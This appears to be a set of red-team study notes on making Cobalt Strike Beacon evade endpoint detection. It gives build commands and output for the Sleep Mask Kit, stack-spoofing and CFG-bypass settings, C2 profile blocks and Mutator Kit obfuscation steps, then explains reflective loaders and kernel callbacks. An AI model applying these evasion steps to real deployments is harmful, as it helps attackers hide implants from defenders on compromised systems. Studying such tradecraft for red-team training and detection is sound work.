After generating and executing a new payload, the call stack now returns to RtlUserFibreStart instead of the actual Cobalt Strike Beacon .text section.
We can use a tool calledHunt-sleeping-beacons which scans the call stack and tries to identify IOCs indicating an unpacked or injected C2 agent.
Sleep Mask Kit
The Sleep Mask Kit provides a means for Beacon to obfuscate its own memory regions before entering the sleep cycle, and then deobfuscate itself when it wakes up. The default mask achieves this by walking its own memory and XOR'ing each byte with a random key. "Walking" memory means traversing or iterating over the memory that the program owns and controls.
EDR tools like Elastic has memory scanning capabilities where it will look for known (static) indicators of Beacon.
It's important to understand that the Sleep Mask becomes less effective the shorter Beacon's sleep time is, because it will spend more time in a deobfuscated state.
The default Sleep Mask code can be found in arsenal-kit\kits\sleepmask. You can read more about sleep mask kit here.
An example of compilation of a Sleep Mask kit.
attacker@DESKTOP-3BSK7NO /m/c/T/c/a/k/sleepmask > ./build.sh 47 WaitForSingleObject true none /mnt/c/Tools/cobaltstrike/sleep-mask
[Sleepmask kit] [+] You have a x86_64 mingw--I will recompile the sleepmask beacon object files
[Sleepmask kit] [*] Building sleepmask to support Cobalt Strike version 4.7 and later
[Sleepmask kit] [*] Using Sleep Method: WaitForSingleObject
[Sleepmask kit] [*] Mask text section: true
[Sleepmask kit] [*] Using system call method: none
[Sleepmask kit] [*] Compile sleepmask.x86.o
[Sleepmask kit] [*] Compile sleepmask_pivot.x86.o
[Sleepmask kit] [*] Compile sleepmask.x64.o
[Sleepmask kit] [*] Compile sleepmask_pivot.x64.o
[Sleepmask kit] [+] The sleepmask beacon object files are saved in '/mnt/c/Tools/cobaltstrike/sleep-mask'
Add set sleep_mask "true"; to the stage block of your C2 profile, load sleepmask.cna via the CS Script Manager and then regenerate your payloads.
Sleep Mask Kit with Stack Spoofing
In order to use Sleep mask kit with stack spoofing, we can use an option called evasive sleep. In sleep mask kit there are two flavours, evasive sleep and evasive sleep stack spoof. They are only supported on 64-bit.
- sleepmask.c
#define EVASIVE_SLEEP 1//#include "evasive_sleep.c"#include "evasive_sleep_stack_spoof.c"
- evasive_sleep_stack_spoof.c
find a legitimate call stack to reproduce (eg. msedge.exe) - must begin with NtWaitForSingleObject
- for each call:
getFunctionOffset.exe [dll] [function] [offset]
- copy generated code to set_callstack function
#define CFG_BYPASS 1
- ensure profile stage:
contains set userwx "true";
- does not contain
set obfuscate "true";
Mutator Kit
Mutator kit is an LLVM (low level virtual machine) obfuscator designed to break in-memory YARA scanning of sleep mask.
LLVM is the process of turning any source code of any programming language and produce native executable machine code. How it works is like this:
- LLVM takes the raw code you write and breaks it down using a lexer to read and split the text and a parser to understand its structure.
- This produce something called Intermediate Representation (IR). This is like a simple set of instruction similar to assembly.
- The IR can then be transformed static native object file, which is a file containing machine code.
The mutator kit works by taking the source code of the sleep mask kit and parsing it into LLVM IR. It then obfusate the IR code before producing the final build.
There are 4 types of obfuscation possible with the kit. They are:
- Substitution - replace binary operators with functionally equivalent ones. For example, replacing
a = b + cwitha = b - (-c)and other variations.
- Control Flow Flattening & Basic-Block Splitting - manipulates the control flow of a function by removing easily identifiable conditional and looping structures.
- Bogus - inserts fake control blocks to modify the control flow of a function. It works by adding a conditional jump that points into either the original block or a fake block looping back to the conditional jump block. This option is disabled in the kit by default because it can increase the final size of the compiled sleep mask.
Before using mutator kit, we have to ensure that our C2 profile is setup correctly.
stage {
set sleep_mask "true";
set cleanup "true";
set userwx "false";
}
process-inject {
set startrwx "false";
set userwx "false";
}
Now load sleepmask_mutator.cna from \arsenal-kit\kits\mutator\. This will add a new Sleep Mask Mutator menu item which will launch a Preferences window.

Generate a new set of payloads using Payloads > Windows Stageless Generate All Payloads.
> Mutator Kit is that it is not compatible with evasive sleep or syscalls.
syscalls involve inline assembly code that cannot be mutated without breaking functionality; and since the aim of this kit is to break YARA signatures targeting the sleep mask in-memory, the evasive sleep mask is no longer necessary.
User-Defined Reflective Loader (UDRL)
A User-Defined Reflective Loader is a custom implementation of a reflective DLL loader used to load a Dynamic Link Library (DLL) into memory without relying on the standard Windows API for DLL loading (like LoadLibrary).
...
Kernel Callback Routine
A Kernel Callback Routine is a Windows Operating system mechanism used to notify kernel-mode or user-mode components about specific events or change in state. These routines are functions registered by a process or a driver and get invoked by kernel in response to specific trigger such as process creation, thread creation, image loads and registry operaitons. .
PsSetCreateProcessNotifyRoutine to monitor process creation.
PsSetCreateThreadNotifyRoutine to monitor thread creation.
PspCreateProcessNotifyRoutine - Registers a driver-supplied callback to be called whenever a process is created or deleted.
PspLoadImageNotifyRoutine - Registers a driver-supplied callback to be called whenever an image (DLL or EXE) is loaded (or mapped) into memory.
CmRegisterCallbackEx - Registers a driver-supplied callback to be called whenever a thread operates on the registry.
Kernel callbacks are stored in kernel memory, with each type of callback having its own list, such as the PspCreateProcessNotifyRoutine array for process-related events. Each item in the list points to a function in a driver that registered the callback. When the specified event occurs, the kernel goes through the list and executes each callback function in the drivers. This happens before the system returns control to the user, making it difficult to tamper with or interrupt these callbacks from user-mode.